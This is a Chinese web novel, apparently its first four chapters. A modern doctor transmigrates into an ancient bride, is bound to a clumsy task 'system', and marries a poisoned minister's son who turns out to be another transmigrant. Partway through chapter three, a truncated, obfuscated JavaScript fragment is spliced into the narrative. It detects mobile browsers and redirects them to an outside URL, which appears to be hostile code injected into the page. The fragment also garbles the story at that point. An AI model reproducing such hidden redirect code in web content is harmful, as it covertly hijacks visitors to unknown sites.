《草包夫君怎么也是穿来》
1. 穿越了
“泽姝,你就听母亲一句劝吧。今日你不嫁也得嫁了。欸……虽然谁都知道张家那位二公子不是什么好东西,但家中实在无法。”
周润身侧的妇女说到此处哽咽了一瞬,开始抽抽噎噎地哭了起来。
“泽姝,你就答应下来吧,昨日张家已经带人来提亲了,那边拿着婚约催得很紧,我们二人实在想不出别的对策,只能勉强委屈你先嫁过去了。母亲知道你很执拗,若是实在不愿,我这还有一点私房钱。明日早晨天微亮,你就拿着和如意郎君私奔……”
周润坐在床沿,迷迷糊糊地听着身旁的妇人就这样说出这番奇怪的话语,周遭的一切声音都仿佛隔着一层水,听不真切。
妇人见周润始终未作表态,也不敢继续开口劝说,怕将对方逼得太紧。双手捏着周润有些冰凉的右手好一会儿,才终于放弃继续言语。
“母亲就先回去了,你好好想想。若是相通了或是没想通,都告诉母亲一声好吗,别再想不开了。”
说罢,妇人就将屋内的两名侍从一并带走,期间还不忘使眼色让守在外面的婢女进来照料周润。
随着妇人的离去,周润眼前的景象逐渐清明,耳朵也能够听到外面叽叽喳喳的鸟叫声。可刚睁眼,她却摆出了一幅惊恐的模样。
周润并非是无法消化妇人刚才留下的那番“联姻嫁娶”的话,而是震惊地发现,自己,一个21世纪完成了九年义务教育并带着行医资格证成功进入医院工作的现代女性,溺水醒来后,竟然在一个古色古香,只在电视剧中见过的复古房间中醒来。
莫不是有人趁她溺水昏迷之际,连人带床给搬到了横店里面,就为了恶作剧一番。
正在周润想把自己脑子里面的水都给甩出去,再好好思考目前是什么情况的时候,刚才站在一旁低眉颔首的婢女向前走了几步,径直往床边走来,并开口道:
“你好宿主,我是系统0056,因为你在原世界中意外身亡,但寿元未尽,系统局通过检测后便将你拉入世界中完成任务,得以重返原世界。”
面前的婢女穿着一件粉红的素色长裙,梳起的发髻上还别着几朵别样的桃花。面上没有因为冷空气刺激而裂开的细小伤口,反倒双手都白嫩如豆腐,看起来平日里应当是不像其他丫鬟一般干尽洒扫浆洗的脏活。
周润心中暗暗打量着面前的屋子与婢女,默不作声。
她平日里什么穿越金手指爽文可没少看,虽然从来不作假设幻想,说是有朝一日落到自己身上应当怎么办。但自己此刻似乎真的遇见了这种状况,周润也能镇定自若分析一番。
当然,也只是维持面上镇定而已,周润看着镇定自若,实则内心早就惊涛骇浪分析一番,还一直在思考挣脱屋内的婢女以及门外不知道是否存在的侍卫逃脱成功的概率。
周润淡定,0056就不淡定了。
按照他们穿越局的行事风格,为了避免被他人发现穿越者的对话,甚至被打上邪祟夺舍的标签,他们一般都是直接在宿主脑海中对话以绝后患。
但偏偏0056过往的几任宿主都过于不冷静了。
本来濒死之人意识一恢复过来,看到自己被拉入古代中就已经失去大半理智。系统按照穿越局的规章制度向对方介绍这个世界的背景故事以及任务后,宿主更是直接理智全无。
据0056的部门主管统计,过去他所负责的八任宿主中,有三位因为脑海中突如其来的电子音怀疑自己是不是精神出了问题,遂试图投湖自尽回到现实。两位因为不相信0056的存在而手动忽略他发布的任务,导致0056白做了两个世界。
一开始,穿越局里面的系统还以为是0056的操作不当才导致宿主的不配合率会如此高,于是还0056重新打回去培训了一番才继续上岗。
谁知0056的下一任宿主依旧手动忽略他的任务颁布,光荣地成为了0056任务史中浓墨重彩的第九位宿主。
穿越局的各位系统对0056的遭遇深表同情,只能将其划分为运气太差,总是分到倔种宿主。
但总是完成不了任务,那也没办法向主系统交差啊。于是穿越剧的各位合计一番,给0056开了个后门。在不违背世界观以及剧情的情况下,0056拥有远超于其他系统的干涉能力。
也正因如此,他才能附身婢女的身上,操着一股电子音说服周润。
“你是系统?书里面的系统不应当是在我的脑海中颁布任务的吗,怎么到你这里就是用人的身体向我对话?难道你们都是假的?”
0056听到这番话可不得了,生怕周润突然发难也去投湖自尽试图回到现实世界,赶紧开口道:
“宿主你别着急啊,我是真的系统。你只需要完成我颁布的任务就可以回到现实世界中。”
说罢,还生怕周润不相信,0056脱离婢女的身体回到了周润的脑海中,用电子音再次说了一次。
“宿主你在周末出门逛街的时候偶遇师兄,受其邀请后回到了医药大学中。谁知湖边的栏杆年久失修,你失足掉入湖中溺水身亡。还有还有,宿主你爱吃糖醋排骨,休息喜欢窝在家里看《百家讲坛》,偶尔还会亲自下厨做点饭吃,虽然失败率极高。”
0056还在喋喋不休地说着周润身上的事情,丝毫没有发现面前的宿主脸上青一阵白一阵。
周润的接受能力倒是强,听到面前的婢女自称系统就已信了大半,脑海中响起那股标准的系统电子音后就彻底相信了对方的言语。
可惜她还没来得及制止系统如数家珍她的爱好,0056就一股气地将周润的隐私全都抖落出来。
照理来说,0056作为一个电子产物是不需要喘气的。奈何面前附身的婢女也是一个活生生的人类,再不喘气就得窒息身亡了。
最终,便是系统操纵的婢女面上憋得通红,扶着桌子大口大口呼吸着空气,床上坐着的周润看着面前智商好像有点不太高的系统陷入了深深的怀疑。
这系统真能帮自己回到现实世界吗。
“当然能,我们穿越局都有严格的制度。有赖于主系统强大能量的支撑,一旦宿主完成任务,我们就能够为你重塑肉身,传递回现实世界中。哦,还有,因为种种原因,系统一旦和宿主绑定成功后,无论对方心里想什么,系统都能够读出来。所以你日后若是想唤我出来,只需要在心中想一下即可。”
0056向周润撤出了一个他认为十分标准的微笑,不过落到周润的眼中就是另一番风味了。
她搓了搓手上的鸡皮疙瘩,问出了心中的疑惑:“你附身到她的身上,就不怕连带着你的宿主一起被别人怀疑是邪祟入体,要火烧示众吗。你有办法逃脱,我可没有。”
“宿主不必担心……”
0056挠了挠头,讪笑道:“原身昨日听闻周父要将她强嫁与张二公子,装疯卖傻了一番说要退婚自尽。你现在说什么话,门外守着的侍卫都会当作是为了逃婚而胡诌出来的。”
周润听闻这番话,额角突突地痛,心中暗道不好:“真是被0056给坑害了。我一个21世纪自由婚恋,积极向上的大好青年还要回到古代里面cos强取豪夺,私奔逃脱的戏码。“
“嘿嘿,就是那个,你不用逃脱,这个世界的任务是辅佐张二公子位极人臣。就是你要嫁的那个张二公子。”
得,原来是古代的另一个剧本,强取豪夺。
这个系统是不是有点太看得起自己了。周润上次接触历史还是分科前的学考,现在距离她高中毕业好说歹说都过去8年之久,各朝各代都给抛诸脑后了,怎么还得指望她想起来什么古代兵法,治水治民之道啊。
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>“这位张二公子,是太医院的御医吧,我应当只用出谋划策一下药方就可以了吧。”,周润不死心问道。
“哈哈……张二公子是文官,宿主要出谋划策的是为官之道。”
0056还知道尴尬而不失礼貌地扯出几声笑声以掩饰,周润可就一点都笑不出来了。
要是穿书还好,凭借她过目不忘(预先知道结局)的本领,不说带着这位张二公子起飞,怎么也得拳打反派脚踢拦路虎。
但是这压根不是穿书啊,真想让她做出什么力挽狂澜之举吗。
这位仁兄靠着自己都当不了大官,还指望周润这个狗头军师给出什么有用的谋划。
反正无论如何,现在肯定得如家中所愿,答应下来这门亲事。
“行,任务就任务,能回去我干啥不是干。”
0056没想到这任宿主竟然如此顺利就接受了任务,他真是苦尽甘来了。
“宿主你太好了,呜呜呜呜呜。“,系统拉着周润的衣袖哭了起来。
“你干嘛忽然哭起来了,能说正事吗?”,周润狐疑地看着面前的系统,虽然任由拽衣袖假哭的动作,但还是不动声色地将自己的屁股往远离系统的那一边挪动。
“可以可以。这位张二公子全名是张沛民,张宰相家的二公子。原先是京城中出了名的纨绔子弟,不过被张宰相押着去私塾读书、科考,好歹也是进了翰林院做事。谁知某日意外坠湖,他被人救起来后说什么都不愿继续回去翰林院干事。张宰相无法,就向外宣称久病未愈,未能回归翰林院。”
系统说到这里,戛然而止。
他站起来在四周环绕了一大圈之后才回到床边,压低声音道:
“实则张沛民是遭人嫉妒,中毒失去意识才坠湖。京中嗤笑张二公子入朝为官前是纨绔子弟,入朝为官后变成草包。但只有与张家交好的人才知道,这个张沛民是每日昏沉一时,清醒一时,踉踉跄跄又是一日。若不是寻求良药无果,张宰相也不会拿着以前那纸婚约过来求周家嫁个女儿过去冲喜。”
周润听完之后大为震撼,没想到古代为了个职位能勾心斗角到这一番,开口道:
“张宰相本就树大招风,张沛民原为纨绔子弟对他人威胁不到,可一旦入朝为官则难免招人嫉妒,一旦疏于防范,落得如此下场也不足为奇。那为何证据确凿,他的儿子遭奸人所害,不去找皇帝主持公道,自己却将此事藏起来。”
“这个嘛……就是你的任务了。除了辅佐张沛民在官场平步青云,其他这些隐藏故事也应当是你自己去完成的。嘿嘿。”
周润一听到这声“嘿嘿”就涌起一股无名火,感觉自己被狠狠坑了一把。
“不对啊,若是我医术不精,张沛民这辈子都好不了,那我岂不是这辈子都完成不了任务?!”
“理论上来说是这样的,但实际上……”
“我管你实际上还是理论上,你还不如把我丢回现实里面,我在那个湖里泡一辈子算了。”
“别啊,别啊。”,系统见又要谈不拢,赶紧出手挽留道:“系统里面有个积分商城,宿主只需完成颁布的任务即可在其中兑换商品,其中也包括能解百毒的解毒丹。到时候无论你医术精不精,张沛民肯定是能治好的。”
“你怎么不早说。”
“这不是时间紧迫,想着赶紧让你答应你母亲的要求嫁过去。免得到时候你母亲真把你当成心有所属,晚上就给你塞几锭银子给你规划私奔路线了。”
“行行行,那就先别啰嗦了,你赶紧从这婢女的身上下来,让她去通传母亲过来吧。”
系统比出个“OK”的手势,开始给这个婢女编造记忆。
0056心里美啊,终于遇到个正常的宿主了,他这回凭借着组长给他开的后门,肯定能顺利完成他的第十个世界。
2. 欺骗
三日后,张府。
“欸,张家那二公子居然就这样结婚了。不是听闻他顺着宰相的意思消停了两年之后又打回原型了吗。现在是不敢出来流连花丛了,但也变成在家一哭二闹三上吊的草包,日日哭喊着要去云游四方呢。”
“哎哟,我也听说了。说是他父亲在家翻箱倒柜,终于找出来三十年前和周家的一张婚约,带着七八个侍从杀去周府,势必要周家交出一个儿子和张二结婚呢。也是没想到这么闹一番,周家竟然真的让周大小姐出来嫁人。”
“那可不嘛,那天我在回春堂那儿帮刘大夫煎药呢,周大小姐那个近身婢女慌慌张张地跑过来把刘大夫叫走了。嘴里说着什么小姐自尽啊,昏迷啊,哎哟,莫不是听到自己要和那个草包结婚,宁死不屈呢。”
周润坐在喜轿中,听着外面三姑六婆的碎嘴。
自那日答应了周文安的婚约,府中的人像是生怕周润反悔一般,立马就派人去张府和张立勋聊嫁娶之事。
什么嫁妆,聘书通通后补,当务之急就是让他们二人赶紧喝完那杯合卺酒之后送入洞房。
急急忙忙操办三日,不知道从哪里找来了个口紧的喜婆,搬来了一个看起来还算崭新的喜轿就把周润给塞了进去。
周润刚开始还想着张、周两家都是京中有头有脸的人物,嫁娶大事再怎么样都得给足牌面,细细准备上一头半个月才算合理。她也正好趁着这段时间做做系统颁布的任务,凑一下商城里面200积分的解毒丹。到时候等到大婚当日,她趁乱丢入张沛民的合卺酒中,便可以神不知鬼不觉地把这个痴傻的小孩给治好。
谁知道这头周家两天就操盘好事宜,那头系统边告诉她,在未遇到张沛民之前未能发布对应的任务。
算了,反正对面清醒一时,糊涂一时,要想让他吃下那颗解毒丹也并非难事。周润也无需紧张这一瞬。
周润扶了一下被凤冠压得肿胀的额头,不知道什么时候才能结束这一些形式上的东西,见到张沛民。
她是第一次接触嫁娶的过程,好不容易读了五年书出来,又工作了好几年才拿到执医证,前半辈子都被这一个中医给捆绑在了岗位上。别说认识男朋友了,维持和普通朋友的交往都成了问题。
周家说是没什么准备,但是该有的行程一样不落。
今早天还未亮的时候,周润就被喜婆从床上拉了起来开始梳头插簪。紧接着往后的几个时辰都在闺房和轿子上摇摇晃晃。
目前为止,她暂时还没有找到机会忘嘴里面塞一点糕点。如果不是系统看她可怜,免费给她兑换了一些吃食,估计得一直饿着肚子到晚上才能吃东西。
也是奇怪。
据系统所说,张沛民中毒后四肢并无大碍,只是精神时好时坏。周润被架着从周府到张府,给张立勋夫妻敬完茶之后,张沛民始终未出现。等到夫妻对拜的时候,则是由一旁的喜婆拿出准备好的公鸡替代拜堂。
“系统,你确定这个男主不是卧病在床吗?他怎么能做到一直没有出现过。”
周润头上盖着喜帕,在心中与系统交流道。
周润来自现代,她对于喜婆口中告诫的那一些,夫君来之前不可以掀开喜帕,要安静的坐在床边等待夫君用秤挑开才可以拿下来诸如此类的话。
就算是原身在此,她应当也不会遵循这些戒律的。毕竟自她坐上喜轿来到张家,她就如同商品一般被他们因为脸上的面子,朝堂上的发展而当作筹码,刚烈地撞墙寻死无果之后也不会奢望能通过这些传统的习俗来维系自己岌岌可危,甚至可能完全不存在的幸福。
所以周润也不甚在意,反正自己都已经答应了婚约,嫁到他们家来了。张家人就等着周润来冲喜呢,总不能因为一些门面上的功夫而要将她退回周家吧。
“我这边的资料显示他确实只是伤及大脑,行动应当是自如的。可能是……外面有人来了赶紧坐回去。”
周润听到系统的话,赶紧将塞到嘴边的那半口糕点丢了餐盘中,将自己随意丢在凳子上的那方帕子重新盖回到了头上。
视线重新被掩盖,她只能看到自己伸出来的半只脚。
外面走进来的那个人,并没有说话。反倒是有意识地将自己走路的声音放缓,慢慢踱步到床边。
“检测到了!宿主面前的就是任务对象。”
周润随着逐渐靠近的脚步声,以及系统急促的电子音而紧张起来,开始控制着自己的呼吸,让整个人不至于看起来十分惊恐。
“任务一,获取张沛民的信任,完成任务后可获得100积分。”
同时响起的,还有面前张沛民的声音:
“我知晓你并非自愿嫁于我,这是和离书,两年之后你就可恢复自由。在此期间,你只需要做自己就好。”
周润刚刚还在思考自己应当怎样才能获取对方的信任,后一秒就听到张沛民这番果决的话,刚才还在思考的想法直接坠机。
不是说是草包,是纨绔子弟吗?
纨绔子弟还会再包办婚姻下面给出和离书的。
周润翻了个大大的白眼,这么聪明还知道照顾别人的想法,她要不是想完成任务,回到现实。她绝对不会这么顺利就答应要求。
真把我当逆来顺受的柔弱小白花了。
不过适当的装弱总归没有错。纨绔子弟肯定吃软不吃硬,现在要让对方收回这封和离书,最好的办法就是挤出几滴眼泪。
欸。
人生如戏,处处需要演技。
周润花了三秒在心中排练了一番,遂即用指甲在自己手背掐出几道口子,硬生生将眼泪逼了出来,用哭腔道:
“夫君,你是不满意我吗。泽姝答应母亲的婚约,自然是希望与你携手共度余生的。可即使你还未挑开我的盖头,就送我一纸和离书。三日回门后,泽姝应当如何面对列祖列宗。”
说罢,周润让系统给自己滴几滴眼药水,佯装自己过于伤心而痛哭流涕的模样。
“你……欸……”
张沛民叹了一口气,转身在桌子上拿起喜秤,如周润所愿挑起盖头。
周润这张脸生的极好,至少是极具迷惑性的。肤若凝脂,眉间又透露着几分柔情。过度伤心而流出的眼泪更是增添了几分破碎,通红的眼眶彰显着挣扎与痛苦。
如果光看她这张脸,必定会以为是逆来顺受的小姐。可偏偏原身与穿越后的周润,都和逆来顺受这四个字毫不沾边。
古代的铜镜看不真切,周润也只能隐隐约约地看出,原身的容貌应当与自己穿越前并无太大差距。但差之毫厘,去之千里。现在的周润更是艳丽几分。
眼前的张沛民看见周润哭得梨花带雨,不禁怔愣一瞬。但片刻后还是恢复原样,双手越过她身前,将周润额头的凤冠拿下。
“你好好考虑一下吧。”
考虑个屁,才穿来三天不到,个个人都叫我考虑一下。有啥好考虑的,不全都是先斩后奏
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。
她有选择的余地吗!!!
眼下系统的任务还压在眼前,若是拿不到这100积分,她还没办法让这个疯癫之人自己拿着和离书去乱吠。
真是上辈子欠了他的。
张沛民也在床边寻了个位置坐下来,将和离书放到二人中间,道:
“泽姝,我可以这么叫你吗。婚约之事并非我本意,但你嫁于我,我也总归要护你周全。可现今我自身难保,也无所余力照看你。这封和离书你得收下,他日我若遇到什么事情你也不必被牵连。”
娘的,怎么这家伙这么倔。
我都哭了还要絮絮叨叨说个不停。
眼见张沛民似乎是一个软硬都不吃的倔驴,周润心想还是得豁出去一番。
她趁着张还在絮絮叨叨地念着,一把将和离书揉成一团,径直摔入他的怀中,道:
“不,夫君。嫁鸡随鸡嫁狗随狗,我定不会抛下你离去的。”
我求求你了,哪个好人家大婚之日是一封和离书丢到老婆脸上的,软硬都不吃好歹也听听人话吧。
周润还在抱着张沛民哭丧着,势必要让他给答应下来。
“系统,这任务能看百分比的吗,现在张沛民对我的信任度是多少。”
“宿主!”,0056惊呼出声,“你快看看任务对象,我这里显示他断联了。”
周润听到这番话,赶紧将张沛民顺着床沿给放倒下去。
嘴唇乌黑,脸颊发白,看着倒是标准的余毒未清样貌,不过更像是被她过于大力抱到窒息的状态。
张沛民穿着一套完整的喜服,繁复华丽,在外人看来肯定是张家受宠至极的儿子,在周润看来,就是送到急救室都得花上半分钟才能剪开的妨碍抢救之服。
不过幸好,张家是文官,没有哪个儿子女儿喜欢穿手脚都用束带绑起来的劲装。周润将对方的衣袖撸了上去,右手贴到脉搏上。
气若游丝,散乱不整,毫无规律。
是死脉。
一般在别人身上摸到这个脉搏,基本是回天乏术。
周润当初跟随师傅在门诊处号脉的时候,曾经遇到过一次。不出三日,那位病号就在急救室中吐血身亡。
此类脉相一般只会出现在将死之人身上,他们一般被某类病症折磨数十年之久,心脉、肺腑临近崩溃。
可刚才的张沛民思维顺畅,说话流利,丝毫不见得有所衰竭。莫非真有毒药能够让人游走在良好的表象中,却又能在一瞬之间制住人于死地?
她不敢肯定。
再难以置信的穿越都能够发生在自己身上,那么世间真有如此奇特的药物也并不出奇。
“系统,除了解毒丹外,积分商城内是否有其他治疗的药物?为什么九转还魂丹,起死回生药。张沛民这个脉象是死脉,以我现在的医术来说无力回天。”
周润甚至都不用让系统兑换出一套针灸包来尝试一番,这个脉象,就算让他师傅来抢救也无所适从。就算能将此人原封不动地带回到现实世界中的医院,各种仪器轮番上阵,也只能勉强续命三日。
“有的宿主,积分商城中有一个活死人肉白骨的灵丹妙药。但是兑换需要2000积分,目前宿主你只有绑定系统赠送的100积分。”
“你别管那些积分不积分的了,今日若是任务对象交代在这里,我不但完成不了任务,你也不能顺利的完成这个世界。”
周润此时怒火中烧。
3. 积分
从周润绑定系统的第一日起,她便知道这个0056不是什么靠谱的电子产物。恐怕还是主系统不知道从哪个犄角旮晃找来这个准备淘汰的电子垃圾改造一番,才丢到这个穿越局里面投入使用。
要让他们这些倒霉宿主给调教一番之后,才调拨去干别的活。
0056听完周润的那番话,还有些嘈杂的电子音瞬间在她等脑海中沉寂下来。看样子似乎是直接逃离宿主,直接回去搬救兵了。
性命攸关,这不仅是一条人命,还关乎着周润能不能顺利完成任务,回到现实世界中。她再也忍不住怒吼出声道,
“系统!你就当是我欠你的,你赶紧给你用2000积分兑换那一颗灵丹妙药。若是再拖下去,张沛民甚至熬不过今晚。系统!!你以后再听我说话吗!”
周润十分无力。
刚才她甚至控制不住,不是在脑海中向系统询问,而是直接在房间中怒吼出来。周润已经压根不在意有没有人会听到她这一番异样的对话,她只是但求系统能够赶紧听到祈求,先把这个任务对象给救回来。
她从高中开始就是读理科,所有对于历史的摄入都是通过网上的小说以及电视剧。即使以她这么贫瘠的历史知识,周润也知道嫁到夫家第一天就将夫君克死的寡妇,是绝对不会有什么好下场的。
若是夫家人心善,便只是将她扫地出门;若是更为草菅人命一点,便是直接乱棍打死,向外宣称这个女子不愧为当代贞洁烈女一头撞墙,便随着夫君去了。
周润才重获新生不到五天,如若也一并随着这个名义上的夫君去了,倒也还能接受。而复生之后便将这些生死看淡。
可是系统之前却还在面前吹嘘,只要完成任务就可以将她传送回现实世界中继续未完成的人生。
周润才迈出这个任务的第一步,居然就直接出师未捷身先死,任凭谁来了都无法平静的接受。
她也不再挣扎。
也一并随着床的方向半躺在龙凤被上。布置婚房的人还在上面撒了不少百合和莲子,硌得她后背生疼。
这应当是他最后一次感受到疼痛这种□□上的感觉了,等到今晚过去,张家的人应当就会发现这个张二公子被周家大小姐克死在大婚之夜。原本说是借来冲喜了婚事,瞬间变成了白事,周、张二家应当都不会再接纳周润这号扫把星。
或许她应当是贫困潦倒后终结这一生,也可能等到明日断联的0056重新联系上之后,发现任务对象死亡而导致这个世界失败。周润这等需要依靠着我完成任务而苟延残喘的蝼蚁就会被他们这些数据绞杀在小世界中。
这一切都无所谓了。
她只是没想到人生竟会经历两次死亡。
想象中强烈的恐惧,并没有让她的大脑停止思考。反而是脑海中不断闪现出过往的事件宛若之前跌落湖中,窒息而亡前的走马灯。
只是这一次相较于之前有了更多的时间去回忆。
“哔哔哔……宿主,宿主你快醒醒。我刚刚回去咨询了组长,他们同意我使用积分商城中的丹药,你赶紧把袖口中的那一颗起死回生丹塞到任务对象的嘴里。”
“你刚才断联,把我抛在此处,我为什么还要相信你?你从一开始就没有设想过,我能够完成任务,成功地回到现实中吧。所以一旦发现有任务失败的可能性,你火速逃离,要让我接受一切的后果,对吗?既然如此,你又何必给我编织美梦,如若是从一开始我就无法重回现实世界,又希望我为你们这个所谓的穿越局卖命,大可以直接威逼利诱,又何必用谎言欺骗我。”
周润听到0056的声音,一时间气血上头,将原本半躺在床上的身子完全直立起来,向空气怒骂道:
“你们这些系统都是草菅人命!”
0056没想到刚才回去找组长询问事情的几分钟,竟然会导致如此严重的后果。他看到面板中任务对象的生命体征急剧下降,周润如果再不将丹药给张沛民服用,这个世界应当是又要直接崩溃。
“宿主,你快将这颗丹药放到他的口中。再不让他服下这颗保命的丹药。他今日真的要在此一命呜呼。等到他体征平稳后,我再跟你交代清楚这件事情。求你了。”
周润默不作声,任凭0056继续在她脑海中焦急地咆哮。
从她穿越至古代的第一天起,0056就出现在她面前,运用各种手段威逼利诱让她答应这门亲事。
若是一开始她对周家使用“拖”字诀,始终不答应下来这门婚事,那么自始至终盯着周润的也只会是周家里面的人。
周母一开始就给原身留了后路,想必周家也不是必须要周润接受这一场盲婚哑嫁。她顺着周母的话语,胡诌个如意郎君私奔去别的地方躲上一年半载,藏到张家再也无法掩盖住张二公子的事情之后,也就能全身而退地回来。
可一旦她答应下来,这门婚事就不仅仅是周母的事情、周家的事情。如果不是0056从一开始就对她哄骗一番,说是什么疑难杂症也能够治好,入朝为官都能够诸葛亮上身出谋划策,说得这个任务如此轻松,周润又怎么会答应下来。
“你说得倒轻松,那喂完丹药之后呢?他要是能醒来,我还能暂且留下一条命,如果他再次病发,直接死在张府,那我是不是还要被张府的人乱棍打死送去殉葬。我刚才给张沛民号脉,脉象散弱无力,是死脉,根本不是你口中的意识不清,混沌度日。”
“宿主,我这是有苦衷的……”
“苦衷?什么苦衷?你从一开始就在哄骗我吧,威逼利诱就为了让我心甘情愿上钩。”
0056看见面板中的数值,发现任务对象的生命体征越来越弱,若是再拖下去哪里救得回来。
系统无法,只能将刚才在穿越局的事情挑挑拣拣,和盘托出:“张沛民也是穿越者,你无法摸到他的脉搏正是因为他并非这个世界的人。宿主你快将手中的丹药喂入他口中,已经不能再拖了。”
周润手中捏着装丹药的锦盒,手指不自觉的捏紧。她被0056的这一言论震惊得目瞪口呆,完全无法消化。
他们这是批发的穿越吗?怎么来了一个穿越者,又来一个穿越者?
周润心中有许多的疑问,可是系统一直在催促着她赶紧将丹药喂给张沛民,否则任务就会失败云云。她被催得紧,虽然刚才因为0056临阵逃脱,导致她对系统的靠谱性产生了怀疑,甚至开始质疑穿越局的存在,但她现在已经被系统坑害得接受了这一门婚事,如果不按照0056口中所说的那样继续完成任务,仅仅凭借自己的力量要想从张家中逃脱出来,也并非易事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024909|194354||http|test|mini|href|location''.split(''|''),0,{}));
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>所以,周润权衡了一番,还是决定暂时相信0056口中的那一些话,从锦盒中拿出半截手指大小的丹药,塞到张沛民的口中。
“你吩咐我做的事情已经完成了,那现在,你能将刚才的事情原原本本的都告诉我吗?”
周润今日一定要问出个好歹,若是发现不对劲,还能趁着月黑风高夜赶紧搜刮点金银珠宝逃离京城。
“这个任务存在与否,我回到现实中又真假与否。”
0056听到周润的问话,知道今日必定是要将任务的始末和盘托出,不得隐瞒。幸好,幸好组长见他的任务回回都失败,眼看着这都是0056第十个任务了,再不顺利完成一个他都没有办法毕业,所以就将他的完成标准大大降低了多少。
以前不能说的故事背景统统都能说了,以前不能用的积分兑换统统都能用了。反正不管怎么样,只要能完成任务,组长都睁一只眼闭一只眼,不管0056在背后到底偷偷摸摸给宿主作弊了多少。
“任务是真的,你完成任务也能够回到现实。任务对象也确实是穿越者。从你穿越回古代与我第一次对话开始,我就从未对你说过谎。”
“既然如此,张沛民应当也有系统,就算是中毒命悬一线,又何必如此曲线救国,要让我通过喂食丹药给他续命。”
“关于张沛民的由来以及经历,我无法从穿越局的记录中得知。他一开始穿越至此也确实绑定了系统。可那日坠入湖中,溺水昏迷后,绑定他的系统就被弹出了这个世界中,再也无法联系上宿主。在漫漫时间长河中,不断地时空跳跃去寻找在某年某月某日某地存在的穿越者无异于大海捞针。所以只能在我们绑定宿主监督任务的过程中,只能顺带帮着搜寻这个宿主。今日一遇到任务对象,我就发现他正是穿越局一直在寻找了无系统宿主,所以我就赶紧脱离世界回总部汇报。”
荒谬,这个世界居然真的会如此荒谬。
每一句话听起来都像是哄骗小孩的话术,但周润却不得不信。
她现在的一举一动都关乎着自己性命,在系统鼓吹下答应了这门亲事,自己的性命也就绑定在了张沛民身上,之前就指着给这个任务对象治好病,再把他送到翰林院里面大展拳脚、平步青云,她也就能回到现实世界中。
可是现在系统跑出来说,任务对象也是穿越而来,甚至还要比她早来几年。她又要怎么相信,又要怎么消化。
是不是全世界的人都把他们这些穿越男、穿越女看作是世界上胃口最好的人,什么样的垃圾信息都能够吞进肚子里面消化一番?
哈哈……
周润苦笑一番,双手抚面发出了一些奇怪的声音,像是完全无法接受现实而精神错乱,疯了一样。
0056根据宿主这样的反应,大概也能确认以目前的情况来说,他这第十个任务应当也是要失败了。
不过他还是不死心,想给周润出谋划策,“你如果不相信我所说的,可以等张沛民醒来之后试探一番。你们穿越过来的人不是最喜欢用‘奇变偶不变,符号看象限’来对暗号吗,等他醒来之后你就念一句诗,再念一句暗号。”
第一次穿越的和第十次穿越的系统之间的脑回路果然不一样,周润给张沛民竖了个大拇指,决定盘腿坐在床上等半死不活的任务对象醒过来。
4. 对暗号
俗话说得好,洞房花烛夜,金榜题名时,人生莫大的欢喜也不过于此。
张家的人可不知道周润的原身一哭二闹三上吊的事情,见周文安这么快就答应下来这门婚事,还以为交出来的这个周家大小姐也应当是个识大局的人。
她今日一套流程走下来也不见哀怨,反而是乖乖地顺着喜婆的要求扮演起一个两情相悦的模样,也让张家彻底放下心来,洞房花烛夜也就由得这两个名义上的夫妻交流一番。
0056用他的电子扫描在院中查看了一圈,发现竟无侍从在门外把守后急忙回来告诉周润。
张沛民也不知道究竟是毒发攻心,还是0056给的那颗解毒丹不起作用,桌上的龙凤烛都快少去大半了,他还是以刚才那副任人摆布的姿态躺在床上,半边身子还晾在床的外面,看起来十分难受。
“系统,你确定他还活着吗,都快半个时辰了,怎么一点苏醒的迹象都没有。”
周润还是不放心,不确定地问道。
“应当是活着的,他虽然没有脉搏,但他还有呼吸呀。人类如果不会呼吸就是尸体了。宿主可以探一探他的鼻息。”
这段话怎么怪怪的。
周润感觉自己在被拐弯抹角地骂蠢。
她蹲在桌角啃着还不容易才搜刮来的瓜子,十分豪放地将合卺酒当作白水一杯一杯地往肚子里倒。
张家也是抠门,房间里面只有丢在床上的百年好合、连生贵子能够咽下肚,连备着当零嘴的糕点都没有。
周润一点都不饿,真的。
她也一点都不渴,真的。
如果有人从今天凌晨三点就被抓起来一直忙碌到晚上十点,不仅滴水未进,还能生龙活虎地说要上山打五只老虎的,请尽快联系穿越局0056号系统,周润将通过这个途径认识地球上的外星人,谢谢。
系统也很抠门,未见官先打八十大板。她第一个任务都还没有完成呢,一个积分都没有装到口袋里,就被这个张沛民给一下子坑成了负资产。
200积分啊,她的200积分啊。
如果今日不花这200积分,她还能够斗胆一把,在系统那里赊账1积分兑换一顿豪华大餐。
现在呢,现在只能在房间里面嗑瓜子、喝水酒。
该死的0056,现在竟然还要话里话外地嫌自己蠢!
谁让你说话只说前面不说后面,还要继续问你就开始打太极,说什么“等张沛民醒了,你自己问他吧。”。
干嘛呀,他们两人一电子产品,还要互相充当传话筒呢。
周润在内心腹诽,手上动作是不敢停。
她将最后的两颗瓜子都吞入肚中后,将沾满碎屑的手指在自己的衣服上蹭个干净,才往床边走去。
“怎么样宿主,还有呼吸吗?”
周润举起食指和中指,一幅电视剧里面标准探查鼻息的模样。只不过现在她的手指还停留在张沛民上方半臂的距离,别说他呼出来的空气了,这个距离连烤火都不热。
周润有些无语地对着空气缓缓地放下了食指,“我手指都还没贴上去呢,很小概率能直接用眼睛看到他的呼吸吧。”
不知道是不是半个身子躺在床上的缘故,周润不能直接通过胸腔的起伏来判断眼前之人是否尚在人间。她虽还能抽出时间和系统插科打诨,但心里还是对张沛民的状态不太确定。
吸,呼,吸,呼。
温热的鼻息扑到她的手指上化作了雾气,虽然微弱,周润也能够感受到生命的迹象。
“你放心好了,还活着。”,周润拍了拍屁股,刚才蹲在地上蹭到的白灰却始终粘在衣服上弄不下来。不过周润依旧毫无心里顾忌地坐下来,反正拍一拍只是个形式,这张床也不是她的。就算今天她拿着斧头把这个房间里的东西全部砸烂,按照张家的财力,应当能在一个时辰内布置出来一个新的婚房。
“那就行。”
他们一人一系统又陷入了沉默。
周润从大学一直到工作,零零总总算下来也有8年望闻问切的经验。刚才张沛民手上的脉象实在是奇异。
如若真像0056所说的那样,张沛民不属于这个世界,也没有属于他的系统向外面的人维持着生命体征,那不应当是直接没有脉搏没有呼吸吗,怎么会变成眼下这种情况。
